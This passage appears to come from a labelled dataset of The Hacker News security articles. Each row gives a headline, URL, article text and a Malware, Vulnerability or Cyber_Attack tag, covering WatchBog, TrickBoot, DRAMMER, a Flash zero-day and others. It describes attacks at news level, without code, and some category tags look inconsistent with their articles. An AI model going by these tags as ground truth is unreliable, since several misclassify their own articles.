Researchers from Gigamon Applied Threat Research and Chinese cyber-security firm Qihoo 360 Core Security, who spotted and named the malware campaign as ""Operation Poison Needles,"" have not attributed the attack to any state-sponsored hacking group.

However, since the maliciously crafted documents in question purport to be an employment application for a Russian state healthcare clinic that is affiliated to the Presidential Administration of Russia and was uploaded on VirusTotal from a Ukrainian IP, researchers believe the attackers could be from Ukraine, considering the political tension between the two countries.

The vulnerability impacts Adobe Flash Player versions 31.0.0.153 and earlier for products including Flash Player Desktop Runtime, Flash Player for Google Chrome, Microsoft Edge and Internet Explorer 11. Adobe Flash Player Installer versions 31.0.0.108 and earlier is also affected.

Researchers reported the Flash zero-day exploit to Adobe on November 29, after which the company acknowledged the issue and released updated Adobe Flash Player version 32.0.0.101 for Windows, macOS, Linux, and Chrome OS; and Adobe Flash Player Installer version 31.0.0.122.

The security updates include a patch for the reported zero-day flaw, along with a fix for an ""important"" DLL hijacking vulnerability (CVE-2018-15983), which could allow attackers to gain privilege escalation via Flash Player and load a malicious DLL.
",Malware
Linux Botnet Adding BlueKeep-Flawed Windows RDP Servers to Its Target List,https://thehackernews.com/2019/07/linux-malware-windows-bluekeep.html,"Cybersecurity researchers have discovered a new variant of WatchBog, a Linux-based cryptocurrency mining malware botnet, which now also includes a module to scan the Internet for Windows RDP servers vulnerable to the Bluekeep flaw.

BlueKeep is a highly-critical, wormable, remote code execution vulnerability in the Windows Remote Desktop Services that could allow an unauthenticated remote attacker to take full control over vulnerable systems just by sending specially crafted requests over RDP protocol.

Though the patches for the BlueKeep vulnerability (CVE–2019-0708) was already released by Microsoft in May this year, more than 800,000 Windows machines accessible over the Internet are still vulnerable to the critical flaw.

Fortunately, even after many individuals in the security community developed working remote code exploits for BlueKeep, there is no public proof-of-concept (PoC) exploit available till the date, potentially preventing opportunistic hackers from wreaking havoc.

However, cybersecurity firm Immunity just yesterday released an updated version of its commercial automated vulnerability assessment and penetration testing (VAPT) tool, CANVAS 7.23, which includes a new module for the BlueKeep RDP exploit.

It appears the attackers behind WatchBog are using their botnet network to prepare ""a list of vulnerable systems to target in the future or to sell to third party vendors for profit,"" warned the researchers from Intezer Lab, who discovered the new WatchBog variant.

""The incorporation of the BlueKeep scanner by a Linux botnet may indicate WatchBog is beginning to explore financial opportunities on a different platform,"" the researchers said.

The BlueKeep scanner included in WatchBog scans the Internet and then submits the list of newly discovered RDP hosts, as a hexadecimal data string encrypted using RC4, to the attacker-controlled servers.
According to the researcher, the new WatchBog variant has already compromised more than 4,500 Linux machines in the last two months.

Although WatchBog is operating since late last year, attackers are distributing its new variant in an ongoing campaign active since early June this year.

The newly-discovered WatchBog variant includes a new spreading module along with exploits for some recently patched vulnerabilities in Linux applications, allowing attackers to find and compromise more Linux systems rapidly.

The WatchBog Linux botnet malware contains several modules, as structurally briefed below, which leverages recently patched vulnerabilities in Exim, Jira, Solr, Jenkins, ThinkPHP and Nexus applications to compromise Linux machines.

Pwn Module

CVE-2019-11581 (Jira)
CVE-2019-10149 (Exim)
CVE-2019-0192 (Solr)
CVE-2018-1000861 (Jenkins)
CVE-2019-7238 (Nexus Repository Manager 3)

Scanning Module

BlueKeep Scanner
Jira Scanner
Solr Scanner

Brute-forcing Module

CouchDB instances
Redis instances

Spreading Module

Apache ActiveMQ (CVE-2016-3088)
Solr (CVE-2019-0192)
Code Execution over Redis

After scanning and brute-forcing modules discover a Linux machine running the vulnerable application, WatchBog deploys a script on the targeted machine to download Monero miner modules from Pastebin website.

The malicious script then also gains persistence on the infected system via crontab and further downloads a new spreader module, which comes in the form of a dynamically linked Cython-compiled ELF executable.

Researchers have recommended Linux and Windows administrators to keep their software and operating systems up-to-date against known vulnerabilities in order to prevent themselves from being a victim of such attack campaigns.

You can find if WatchBog has infected your Linux machine by checking the existence of the ""/tmp/.tmplassstgggzzzqpppppp12233333"" file or the ""/tmp/.gooobb"" file on your system.

",Malware
Bitcoin Talk forum hacked; Database for Sale by Hacker; Website currently down,https://thehackernews.com/2013/10/bitcoin-talk-forum-hacked-database-for.html,"Bitcoin Talk, the popular Bitcoin discussion forum, has been hacked and as it stands the site is currently unreachable.

Bitcointalk has been down for nearly 6 hours. The forums have been allegedly hacked and Defaced by ""The Hole Seekers"" and selling 150,000 emails and hashed passwords stolen from Bitcointalk.org for 25 Bitcoins, where the passwords are hashed with sha256crypt.
Hacker embedded the ""1812 Overture"" song in the background with a dazzling animated picture show.

According to Bitcointalk admin Theymos, it's possible that the hackers gained access to the database. He says the website will not be restored until he figures out precisely what vulnerability the hackers leveraged. He's offering 50 Bitcoin to the first individual who can pinpoint the security hole.

See the video below for the Hack-in-Action:

""Hello friend, Bitcoin has been seized by the FBI for being illegal. Thanks, bye"" reads one the message in the video.

To be safe, it is recommended that all Bitcoin Forum users consider any password used on the Bitcoin Forum in 2013 to be insecure.

There is no further information available currently, but on a Reddit thread the source code of Bitcointalk and JavaScript payload have been made available online for anyone to download.

",Vulnerability
Malware infected International Atomic Energy Agency Computers,https://thehackernews.com/2013/10/malware-infected-international-atomic.html,"Hackers and malware are everywhere, waiting for you around every corner of the Internet. The International Atomic Energy Agency (IAEA), which holds highly sensitive information and plays a key role in global efforts to prevent the spread of nuclear weapons, said on Tuesday that some of its computers were infected by malicious software, during the past several months.
Malware can typically be used by cyber-attackers to gain remote access to systems, or to steal data, however spokesman Serge Gas said. ""No data from the IAEA network has been affected.""

The computers were located in common areas of the agency's Vienna headquarters, known as the Vienna International Centre (VIC).

A third-party technician or visitor with the USB-drive infected with crimeware can be used to infect the system. ""The (IAEA) secretariat does not believe that the USB devices themselves were infected or that they could spread the malware further"" he said.

Last November, the IAEA revealed that Iranian hackers had accessed one of its former computer servers and posted the contact details of some of the watchdog's experts online.

""Protecting information is vital to the IAEA's work. The agency continuously endeavours to achieve the highest possible level of protection of information,"" Gas said.

The authority did not go into explicit details regarding the malware itself, but did stress that the use of removable media had to be reviewed and tightened.

",Malware
"Mirage Anti-Bot 2.0 : Protection against ZeuS, SpyEye Malwares",https://thehackernews.com/2012/02/mirage-anti-bot-20-protection-against.html,"Mirage Anti-Bot 2.0 : Protection against ZeuS, SpyEye Malwares

Jean-Pierre aka DarkCoderSc and Fred De Vries Develop and Release the second version of Another great security tool named ""Mirage Anti-Bot 2.0"". Zeus and SpyEye were the two main families of botnet software. These types of malware are spread mainly through drive-by downloads and phishing schemes.

They are so-called Trojan horses which are designed to steal credentials from various online services like social networks (such as Facebook, Hi5, Yahoo, Netlog), online banking accounts (phising), ftp-accounts, email-accounts and other. They are part of botnets that are estimated to include millions of compromized computers.

Because your antivirus program is not always giving you enough protection against these types of malware, so Experts at https://unremote.org/ create this program for you, that can be used as an extra layer of security. Mirage Anti-Bot will be downloading and installing one or more blocklists from www.abuse.ch, a reputable Swiss-based anti-malware website. This effectively stops your computer from reaching infected sites, thus minimizing the risk to be infected with this extremely dangerous type of malware.

Changelog :
[+] Installer
[+] New GUI, More pro
[+] Start with Windows
[+] Protect you against Palevo, TDL3, Rogues, C&C etc..
[+] Protect you against spyeye botnet
[+] Confirm on quit
[+] Limit exceed bug fixed, now it grabs data locally using SSL
[+] Proxy authentification added

Download Mirage Anti-Bot 2.0

",Malware
"LuckyMouse Hackers Target Banks, Companies and Governments in 2020",https://thehackernews.com/2021/04/luckymouse-hackers-target-banks.html,"An adversary known for its watering hole attacks against government entities has been linked to a slew of newly detected intrusions targeting various organizations in Central Asia and the Middle East.
The malicious activity, collectively named ""EmissarySoldier,"" has been attributed to a threat actor called LuckyMouse, and is said to have happened in 2020 with the goal of obtaining geopolitical insights in the region. The attacks involved deploying a toolkit dubbed SysUpdate (aka Soldier) in a number of breached organizations, including government and diplomatic agencies, telecom providers, a TV media company, and a commercial bank.
LuckyMouse, also referred to as APT27 and Emissary Panda, is a sophisticated cyberespionage group that has a history of breaching multiple government networks in Central Asia and the Middle East. The actor has also been linked to cyberattacks aimed at transnational organizations such as the International Civil Aviation Organization (ICAO) in 2019 and recently attracted attention for exploiting ProxyLogon flaws to compromise the email server of a governmental entity in the Middle East.
EmissarySoldier is only the latest in a series of surveillance efforts aimed at the targets.
""In order to compromise victims, LuckyMouse typically uses watering holes, compromising websites likely to be visited by its intended targets, ESET malware researcher Matthieu Faou said in a report published today. ""LuckyMouse operators also perform network scans to find vulnerable internet-facing servers run by their intended victims.""
What's more, ESET also observed LuckyMouse infections on an unspecified number of internet-facing systems running Microsoft SharePoint, which the researchers suspect occurred by taking advantage of remote code execution vulnerabilities in the application.
Regardless of the method used to gain an initial foothold, the attack chain culminates in the deployment of custom post-compromise implants, SysUpdate or HyperBro, both of which leverage DLL search order hijacking to load malicious payloads and thwart detection. ""The trident model features a legitimate application vulnerable to DLL hijacking, a custom DLL that loads the payload, and a raw Shikata Ga Nai-encoded binary payload,"" Faou noted.
For its part, SysUpdate functions as a modular tool, with each component devoted to a particular operational purpose. It involves abusing a benign application as a loader for a malicious DLL, which in turn loads the first-stage payload that ultimately decodes and deploys the memory implant on the compromised system. Since its discovery in 2018, the toolkit has undergone numerous revisions devoted to adding new functionalities, indicating that the operators are actively working to revamp their malware arsenal.
""LuckyMouse was increasingly active throughout 2020, seemingly going through a retooling process in which various features were being incrementally integrated into the SysUpdate toolkit,"" Faou said. ""This may be an indicator that the threat actors behind LuckyMouse are gradually shifting from using HyperBro to SysUpdate.""

",Malware
New 'unc0ver' Tool Can Jailbreak All iPhone Models Running iOS 11.0 - 14.3,https://thehackernews.com/2021/03/new-unc0ver-tool-can-jailbreak-all.html,"A popular jailbreaking tool called ""unc0ver"" has been updated to support iOS 14.3 and earlier releases, thereby making it possible to unlock almost every single iPhone model using a vulnerability that Apple in January disclosed was actively exploited in the wild.
The latest release, dubbed unc0ver v6.0.0, was released on Sunday, according to its lead developer Pwn20wnd, expanding its compatibility to jailbreak any device running iOS 11.0 through iOS 14.3 using a kernel vulnerability, including iOS 12.4.9-12.5.1, 13.5.1-13.7, and 14.0-14.3.
Tracked as CVE-2021-1782, the flaw is a privilege escalation vulnerability in the kernel stemming from a race condition that could cause a malicious application to elevate its privileges.
""We wrote our own exploit based on CVE-2021-1782 for #unc0ver to achieve optimal exploit speed and stability,"" Pwn20wnd said in a separate tweet.
The vulnerability has since been addressed by Apple as part of its iOS and iPadOS 14.4 updates released on January 26, 2021, but not before admitting that the issue may have been under active attack by bad actors.
The iPhone maker, however, did not disclose how widespread the attack was or reveal the identities of the attackers actively exploiting them.
Jailbreaking, similar to rooting on Google's Android, involves a privilege escalation that works by exploiting flaws in iOS to grant users root access and full control over their devices. In doing so, it allows iOS users to remove software restrictions imposed by Apple, thereby allowing access to additional customization and otherwise prohibited apps.
For its part, Apple has steadily made it difficult to jailbreak devices by locking down its hardware and software for security reasons, which it says helps counter malware attacks.
ZecOps CEO Zuk Avraham said the jailbreak is ""yet another example that attackers have an edge on iOS vs. defenders,"" adding ""[Apple] needs to stop the need to jailbreak the device in the first place and should just enable users to have full access without a need to run an exploit.""
Last May, the unc0ver team released a similar jailbreak for iPhones running iOS 11 to iOS 13.5 by exploiting a memory consumption issue in the kernel (CVE-2020-9859). But it was patched by Apple in a matter of days with the release of iOS 13.5.1 to prevent the vulnerability from being exploited maliciously.

",Vulnerability
TrickBot Malware Gets UEFI/BIOS Bootkit Feature to Remain Undetected,https://thehackernews.com/2020/12/trickbot-malware-gets-uefibios-bootkit.html,"TrickBot, one of the most notorious and adaptable malware botnets in the world, is expanding its toolset to set its sights on firmware vulnerabilities to potentially deploy bootkits and take complete control of an infected system.
The new functionality, dubbed ""TrickBoot"" by Advanced Intelligence (AdvIntel) and Eclypsium, makes use of readily available tools to check devices for well-known vulnerabilities that can allow attackers to inject malicious code in the UEFI/BIOS firmware of a device, granting the attackers an effective mechanism of persistent malware storage.
""This marks a significant step in the evolution of TrickBot as UEFI level implants are the deepest, most powerful, and stealthy form of bootkits,"" the researchers said.
""By adding the ability to canvas victim devices for specific UEFI/BIOS firmware vulnerabilities, TrickBot actors are able to target specific victims with firmware-level persistence that survives re-imaging or even device bricking capability.""
UEFI is a firmware interface and a replacement for BIOS that improves security, ensuring that no malware has tampered with the boot process. Because UEFI facilitates the loading of the operating system itself, such infections are resistant to OS reinstallation or replacement of the hard drive.
TrickBot emerged in 2016 as a banking trojan but has since evolved into a multi-purpose malware-as-a-service (MaaS) that infects systems with other malicious payloads designed to steal credentials, email, financial data, and spread file-encrypting ransomware such as Conti and Ryuk.
Its modularity and versatility have made it an ideal tool for a diverse set of threat actors despite attempts by cyber vendors to take the infrastructure down. It has also been observed in conjunction with Emotet campaigns to deploy Ryuk ransomware.
""Their most common attack chain largely begins via Emotet malspam campaigns, which then loads TrickBot and/or other loaders, and moves to attack tools like PowerShell Empire or Cobalt Strike to accomplish objectives relative to the victim organization under attack,"" the researchers said. ""Often, at the end of the kill-chain, either Conti or Ryuk ransomware is deployed.""
To date, the botnet has infected more than a million computers, according to Microsoft and its partners at Symantec, ESET, FS-ISAC, and Lumen.
From a Reconnaissance Module to an Attack Function
The newest addition to their arsenal suggests that TrickBot can not only be used to target systems en masse with ransomware and UEFI attacks but also provide criminal actors even more leverage during ransom negotiation by leaving a covert UEFI bootkit on the system for later use.
The development is also yet another sign that adversaries are extending their focus beyond the operating system of the device to lower layers to avoid detection and carry out destructive or espionage-focused campaigns.
TrickBot's reconnaissance component, observed for the first time in October 2020 right after the take-down attempts orchestrated by the US Cyber Command and Microsoft, targets Intel-based systems from Skylake through Comet Lake chipsets to probe for vulnerabilities in the UEFI firmware of the infected machines.
Specifically, the researchers found that TrickBoot takes aim at the SPI flash chip that houses the UEFI/BIOS firmware, using an obfuscated copy of RWEverything tool's RwDrv.sys driver to check if the BIOS control register is unlocked and the contents of the BIOS region can be modified.
Although the activity is limited to reconnaissance so far, it wouldn't be a stretch if this capability is extended to write malicious code to the system firmware, thereby ensuring that attacker code executes before the operating system and paving the way for the installation of backdoors, or even the destruction of a targeted device.
What's more, given the size and scope of the TrickBot, an attack of this kind can have severe consequences.
""TrickBoot is only one line of code away from being able to brick any device it finds to be vulnerable,"" the researchers noted. ""The national security implications arising from a widespread malware campaign capable of bricking devices is enormous.""
With UEFI persistence, ""TrickBot operators can disable any OS level security controls they want, which then allows them to re-surface to a modified OS with neutered endpoint protections and carry out objectives with unhurried time on their side.""
To mitigate such threats, it's recommended that the firmware is kept up-to-date, BIOS write protections are enabled, and firmware integrity is verified to safeguard against unauthorized modifications.

",Cyber_Attack
#Security Alert : Facebook Two-Factor Authentication fail !,https://thehackernews.com/2012/03/security-alert-facebook-two-factor.html,"#Security Alert : Facebook Two-Factor Authentication fail !

Last year Facebook has launched a security feature called Login Approvals or two-factor authentication. This is a follow-up security update regarding Facebook Login from Facebook. They have already integrated Facebook login email alerts to get notification emails or SMS messages whenever a suspicious person uses your Facebook account from a different location.

Christopher Lowson, on his blog explains the Facebook Two-Factor Authentication, which is really another biggest fail of Facebook Security.

But that feature is not enough to ensure your account's security and that is why Facebook has launched ""Login Approvals"". This feature is very similar with Google 2-step verification which associates a mobile device with your Facebook account and authenticates the login by sending a verification code at your mobile phone device.

According to this feature, When user will logging into your Facebook account from a new device, a code will be sent to his phone which he will have to enter before he is granted access to your Facebook Account.

What Lowson did, He click the option ""I can't get my code"" and noticed ""Skip this and stop asking me to enter codes"" and After clicking this he got asked ""Log in without entering codes from now on?"" by Facebook. Finally Lowson is able to login without Codes and 2 step authentication Security feature Turned off and Bypassed simply by options.

Conclusion is that, Why Facebook is trying to use such security features which can be easily exploited at user end ? Even a very less percentage of facebook users are aware about this feature which is actually implemented last year and still have such bugs.

Submitted By: Christopher Lowson

",Vulnerability
"Security researchers will disclose vulnerabilities in Embedded, ARM, x86 & NFC",https://thehackernews.com/2012/07/security-researchers-will-disclose.html,"Security researchers are expected to disclose new vulnerabilities in near field communication (NFC), mobile baseband firmware, HTML5 and Web application firewalls next week at the Black Hat USA 2012 security conference.

The Black Hat session aim to expose sometimes shocking vulnerabilities in widely used products. They also typically show countermeasures to plug the holes.

Two independent security consultants will give a class called ""Advanced ARM exploitation,"" part of a broader five-day private class the duo developed. In a sold-out session, they will detail hardware hacks of multiple ARM platforms running Linux, some described on a separate blog posting.

The purpose of the talk is to reach a broader audience and share the more interesting bits of the research that went into developing the Practical ARM Exploitation and presenters Stephen Ridley and Stephen Lawler demonstrate how to defeat XN, ASLR, stack cookies, etc. using nuances of the ARM architecture on Linux.

In addition to mobile and Web security, Black Hat presentations will also cover security issues and attack techniques affecting industrial control systems, smart meters and embedded devices.

",Malware
Internet Explorer zero-day exploit used watering hole attacks to target Japanese users,https://thehackernews.com/2013/09/internet-explorer-zero-day-exploit-used.html,"Attackers exploiting a zero-day vulnerability CVE-2013-3893 in Microsoft's Internet Explorer browser and served them on compromised popular Japanese news websites.

According to FireEye, at least three major Japanese media websites were compromised in watering hole attacks, dubbed Operation DeputyDog, appears to target manufacturers, government entities and media organizations in Japan.
The compromised sites recorded more than 75,000 page views before the exploits were discovered. The zero-day vulnerability in IE 8 and 9 allows the stealthy installation of software in the users' computers which then can be remotely accessed by the hackers.

The hackers typically use Trojans designed specifically for a pay-to-order attack to steal intellectual property. Researchers saw a payload executable file used against a Japanese target posing as an image file hosted on a Hong Kong server.

The attack in Japan was discovered two days after Microsoft disclosed the flaw ,""The exploit was attacking a Use After Free vulnerability in IE's HTML rendering engine (mshtml.dll) and was implemented entirely in Javascript (no dependencies on Java, Flash etc.), but did depend on a Microsoft Office DLL which was not compiled with ASLR (Address Space Layout Randomization) enabled,"" Microsoft Security Advisory.

FireEye also claimed the group responsible for DeputyDog is the same one that compromised security firm Bit9 back in February 2013. FireEye did not disclose which sites were infected, but said that Japanese computer security authorities were working with the media outlets to remediate the issue.

Microsoft released a FixIt tool and urged IE users to install that as a mitigation until a patch was ready.

",Vulnerability
Microsoft Tuesday Update to Patch Critical Windows and Internet Explorer Vulnerabilities,https://thehackernews.com/2014/08/microsoft-tuesday-update-to-patch_8.html,"Today Microsoft has released its Advance Notification for the month of August 2014 Patch Tuesday Updates releasing a total of nine security Bulletins, which will address several vulnerabilities in its products, out of which two are marked critical and rest are important in severity.

The latest updates, which is set to arrive on August 12, will address two critical bugs affect Internet Explorer and Windows with seven other issues rated as important. The vulnerabilities in the company's products range from remote code execution to protection bypasses.

Both of the critical fixes will address remote-code execution flaws. The critical Windows update affects only business and professional editions of Windows 7 and Windows 8. Whereas, the Internet Explorer update affects all versions of Windows on all supported platforms.

The remaining seven updates affect its various products, including Windows, Office, SQL Server, the .NET Framework and SharePoint Server 2013.

There will be no critical bulletins for Windows Server this month, also the IE patch is considered a moderate risk for servers. However, several bulletins are rated 'important' and should be updated with the patch.

The Tuesday Update will also addresses a remote-code execution vulnerability in Microsoft Office, rated as 'important', and an elevation of privilege vulnerability in SQL Server. The company will also fix Microsoft Server Software for another elevation of privilege vulnerability.

Rest three bulletins will address a pair of elevation of privilege vulnerabilities and a security bypass vulnerability in Windows.

Earlier this week, Microsoft also announced that the company will release a change to its Internet Explorer on Update Tuesday that will block old and out-of-date ActiveX controls. It will warn users when the browser attempts to load an out-dated ActiveX controls. Initially, the list will contain only old Java versions.

The out-of-date ActiveX control blocking feature works on:
Windows 7 SP1, Internet Explorer 8 through Internet Explorer 11
Windows 8 and up, Internet Explorer for the desktop
All Security Zones—such as the Internet Zone—but not the Local Intranet Zone and the Trusted Sites Zone
Note: Microsoft will not release any security update for its older version of Windows XP, as it stopped supporting Windows XP Operating System. So, if you are still running this older version of operating system on your PCs, we again advise you to move on to other operating system in order to receive updates and secure yourself from upcoming threats.

",Vulnerability
What is Threat Intelligence and How It Helps to Identify Security Threats,https://thehackernews.com/2015/11/what-is-cyber-threat-intelligence.html,"Simply put, threat intelligence is knowledge that helps you identify security threats and make informed decisions. Threat intelligence can help you solve the following problems:
How do I keep up to date on the overwhelming amount of information on security threats…including bad actors, methods, vulnerabilities, targets, etc.?
How do I get more proactive about future security threats?
How do I inform my leaders about the dangers and repercussions of specific security threats?

Threat Intelligence: What is it?

Threat intelligence has received a lot of attention lately. While there are many different definitions, here are a few that get quoted often:
Threat intelligence is evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets that can be used to inform decisions regarding the subject's response to that menace or hazard. – Gartner
The set of data collected, assessed and applied regarding security threats, threat actors, exploits, malware, vulnerabilities and compromise indicators – SANS Institute

Why is everyone talking about it?

Verizon's 2015 DBIR estimated a financial loss of $400 million from 700 million compromised records, which resulted from 79,790 security incidents!

As long as security threats and breaches occur, every business will look for ways to protect their data. The threat landscape is always changing and the business risk is increasing because of our dependence on IT systems.

Threats come from internal as well as external sources. Bottom line is, organizations are under tremendous pressure to manage threats. Though information in the form of raw data is available abundantly, it is hard and time-consuming to get meaningful information based on which proactive measures can be set.

This naturally pulls more and more users towards threat intelligence as it helps to prioritize threats within the deluge of data, alerts, and attacks and provides actionable information.

The table below presents several common indicators of compromise that can be identified with threat intelligence feeds:

Category Indicators of Compromise Examples
Network
IP addresses
URLs
Domain names
Malware infections targeting internal hosts that are communicating with known bad actors
Email
Sender's email address and email subject
Attachments
Links
Phishing attempts where internal hosts click on an unsuspecting email and ""phone home"" to a malicious command and control server
Host-Based
Filenames and file hashes (e.g. MD5)
Registry keys
Dynamic link libraries (DLLs)
Mutex names
External attacks from hosts that might be infected themselves or are already known for nefarious activity
Threat Intelligence capabilities

Attacks can be broadly categorized as user based, application based and infrastructure based threats. Some of the most common threats are SQL injections, DDoS, web application attacks and phishing.

It is important to have an IT security solution that provides threat intelligence capabilities to manage these attacks by being both proactive and responsive.

Attackers are constantly changing their methods to challenge security systems. Therefore, it becomes inevitable for organizations to get threat intelligence from a variety of sources.

One of the proven methods to stay on top of attacks is to detect and respond to threats with a SIEM (Security Information & Event Management system).

A SIEM can be used to track everything that happens in your environment and identify anomalous activities. Isolated incidents might look unrelated, but with event correlation and threat intelligence, you can see what is actually happening in your environment.

Nowadays, IT security professionals must operate under the assumed breach mentality. Comparing monitored traffic against known bad actors sourced from threat intelligence would help in identifying malicious activities.

However, this could be manual and time-consuming. Integrating indicator based threat intelligence to a SEIM security solution would help in identifying compromised system and possibly even prevent some attacks.

Best Practices

Integrating threat intelligence and responding to attacks is not enough to combat the ever-changing threat landscape. You need to analyze the situation and determine threats you are likely to face, based on which you can come up with precautionary measures.

Here is a list of several best practices:
Have an application whitelist and blacklist. This helps in preventing execution of malicious or unapproved programs including, .DLL files, scripts and installers.
Check your logs carefully to see if an attempted attack was an isolated event, or if the vulnerability had been exploited before.
Determine what was changed in the attempted attack.
Audit logs and identify why this incident happened – reasons could range from system vulnerability to an out-of-date driver.

What will threat intelligence enabled SIEM solve
A SIEM, like SolarWinds Log & Event Manager, collects and normalizes log data from monitored traffic and automatically tags suspicious events.

With integrated threat intelligence mechanism and built-in rules, the monitored events can be compared against the list of constantly updated known bad actors.
You can quickly search & monitor for hits from the bad actors against the log data in real time and identify common indicators of compromise.

You can automatically respond with actions like blocking known bad IP addresses, in case of malicious attack attempts.

Watch how threat intelligence works in a SIEM and download your free trial of a leading SIEM from SolarWinds.

",Vulnerability
New Drammer Android Hack lets Apps take Full control (root) of your Phone,https://thehackernews.com/2016/10/root-android-phone-exploit.html,"Earlier last year, security researchers from Google's Project Zero outlined a way to hijack the computers running Linux by abusing a design flaw in the memory and gaining higher kernel privileges on the system.

Now, the same previously found designing weakness has been exploited to gain unfettered ""root"" access to millions of Android smartphones, allowing potentially anyone to take control of affected devices.

Researchers in the VUSec Lab at Vrije Universiteit Amsterdam have discovered a vulnerability that targets a device's dynamic random access memory (DRAM) using an attack called Rowhammer.

Although we are already aware of the Rowhammer attack, this is the very first time when researchers have successfully used this attack to target mobile devices.

What is DRAM Rowhammer Attack?

The Rowhammer attack against mobile devices is equally dangerous because it potentially puts all critical data on millions of Android phones at risk, at least until a security patch is available.

The Rowhammer attack involves executing a malicious application that repeatedly accesses the same ""row"" of transistors on a memory chip in a tiny fraction of a second in a process called ""Hammering.""

As a result, hammering a memory region can disturb neighboring row, causing the row to leak electricity into the next row which eventually causes a bit to flip. And since bits encode data, this small change modifies that data, creating a way to gain control over the device.

In short, Rowhammer is an issue with new generation DRAM chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row that could allow anyone to change the value of contents stored in the memory.

Is Your Android Phone Vulnerable?

To test the Rowhammer attack on mobile phones, the researchers created a new proof-of-concept exploit, dubbed DRAMMER, and found their exploit successfully altered crucial bits of data in a way that completely roots big brand Android devices from Samsung, OnePlus, LG, Motorola, and possibly other manufacturers.

The researchers successfully rooted Android handsets including Google's Nexus 4 and Nexus 5; LG's G4; Samsung Galaxy S4 and Galaxy S5, Motorola's Moto G models from 2013 and 2014; and OnePlus One.

""Not only does our [DRAMMER] attack show that practical, deterministic Rowhammer attacks are a real threat to billions of mobile users, but it is also the first effort to show that Rowhammer is...(reliably exploitable) on any platform other than x86 and with a much more limited software feature set than existing solutions,"" the researchers wrote in their paper [PDF] titled, ""Drammer: Deterministic Rowhammer Attacks on Mobile Platforms.""

How does the DRAMMER Attack Work? (Exploit Source Code)
The researchers created an app — containing their rooting exploit — that requires no special user permissions in order to avoid raising suspicion. The DRAMMER attack would then need a victim to download the app laced with malware (researchers' exploit code) to execute the hack.

The researchers took advantage of an Android mechanism called the ION memory allocator to gain direct access to the dynamic random access memory (DRAM).

Besides giving every app direct access to the DRAM, the ION memory allocator also allows identifying adjacent rows on the DRAM, which is an important factor for generating targeted bit flips.

Knowing this, the researchers then had to figure out how to use the bit flipping to achieve root access on the victim's device, giving them full control of the target phone and the ability to do anything from accessing data to taking photos.
""On a high level, our technique works by exhausting available memory chunks of different sizes to drive the physical memory allocator into a state in which it has to start serving memory from regions that we can reliably predict,"" the paper reads.
""We then force the allocator to place the target security-sensitive data, i.e., a page table, at a position in physical memory which is vulnerable to bit flips and which we can hammer from adjacent parts of memory under our control.""
Once you download this malicious app, the DRAMMER exploit takes over your phone within minutes – or even seconds – and runs without your interaction. The attack continues to run even if you interact with the app or put your phone in ""sleep"" mode.

The researchers expect to soon publish an app [source code available here] that will let you test your Android smartphone yourself and anonymously include your results in a running tally, which will help researchers track the list of vulnerable devices.

DRAMMER Has No Quick Fix

The group of researchers privately disclosed its findings to Google in July, and the company designated the flaw as ""critical,"" awarding the researchers $4,000 under its bug bounty program.

Google says the company has informed its manufacturing partners of the issue earlier this month and has developed a mitigation which it will include in its upcoming November security bulletin to make the DRAMMER attack much harder to execute.

However, the researchers warned that one could not replace the memory chip in Android smartphones that have already been shipped.

And even some software features that DRAMMER exploits are so fundamental and essential to any OS that they are difficult to remove or modify without impacting the user experience.

In short, the attack is not easy to patch in the next generation of Android phones.

Video Demonstration of DRUMMER Attack on Android 6.0.1
The researchers have also published two proof-of-concept videos that demonstrate DRAMMER attack in action against an unrooted LG Nexus 5.

In the first video, the phone is running Android 6.0.1 with security patches Google released on October 5.

In the second video, the researchers show how the DRAMMER attack can be combined with Stagefright bug that remains unpatched in many older Android handsets.
The Stagefright exploit gives the researchers an advanced shell, and by running the DRAMMER exploit, the shell gains root access.

The researcher's exploit can target the majority of the world's Android phones.
""Our research shows that practical large-scale Rowhammer attacks are a serious threat and while the response to the Rowhammer has been relatively slow from vendors, we hope our work will accelerate mitigation efforts both in industry and academia,"" the researchers concluded.
The group research focuses on Android rather than iOS because the researchers are intimately familiar with the Google's mobile OS which is based on Linux. But the group says it would theoretically be possible to replicate the same attack in an iPhone with additional research.

A team of researchers from VUSec at Vrije Universiteit Amsterdam, the University of California at Santa Barbara, and the Graz University of Technology has conducted the research, and they'll be presenting their findings later this week at the 23rd ACM Conference on Computer and Communications Security in Vienna, Austria.

For more detailed information, you can head on to this informational page about DRAMMER and this paper published early this morning.

",Malware
"Linux worm targeting Routers, Set-top boxes and Security Cameras with PHP-CGI Vulnerability",https://thehackernews.com/2013/11/Linux-ELF-malware-php-cgi-vulnerability.html,"A Symantec researcher has discovered a new Linux worm, targeting machine-to-machine devices, and exploits a PHP vulnerability (CVE-2012-1823) to propagate that has been patched as far back as May 2012.
Linux worm, which has been dubbed Linux.Darlloz, poses a threat to devices such as home routers and set-top boxes, Security Cameras, and even industrial control systems. It is based on proof-of-concept code released in late October and it helps spread malware by exploiting a vulnerability in php-cgi.

""Upon execution, the worm generates IP addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability. If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target."" the Symantec researchers explained.

The malware does not appear to perform any malicious activity other than silently spreading itself and wiping a load of system files.

So far the malware variant targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures.
However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL.

No attacks have been reported in the wild, but warned that most users would not realize they were at risk as they would be unaware that their own devices ran on Linux.

To protect their devices from the worm, users are advised to update their software to the latest version, make device passwords stronger and block incoming HTTP POST requests to the -/cgi-bin/php* paths.

",Malware
23-Year-old Russian Hacker confessed to be original author of BlackPOS Malware,https://thehackernews.com/2014/01/23-year-old-russian-hacker-confessed-to.html,"In the previous reports of Cyber Intelligence firm 'IntelCrawler' named Sergey Tarasov, a 17-year-old teenager behind the nickname ""ree[4]"", as the developer of BlackPOS malware.

BlackPOS also known as ""reedum"" or 'Kaptoxa' is an effective crimeware kit, used in the massive heist of possibly 110 million consumers' Credit-Debit cards, and personal information from the TARGET.

Later Researchers's investigation revealed that the original coder of BlackPOS Malware was actually a 23-year-old young hacker named Rinat Shabayev and the teen, Sergey Taraspov is the incharge for the technical support department.

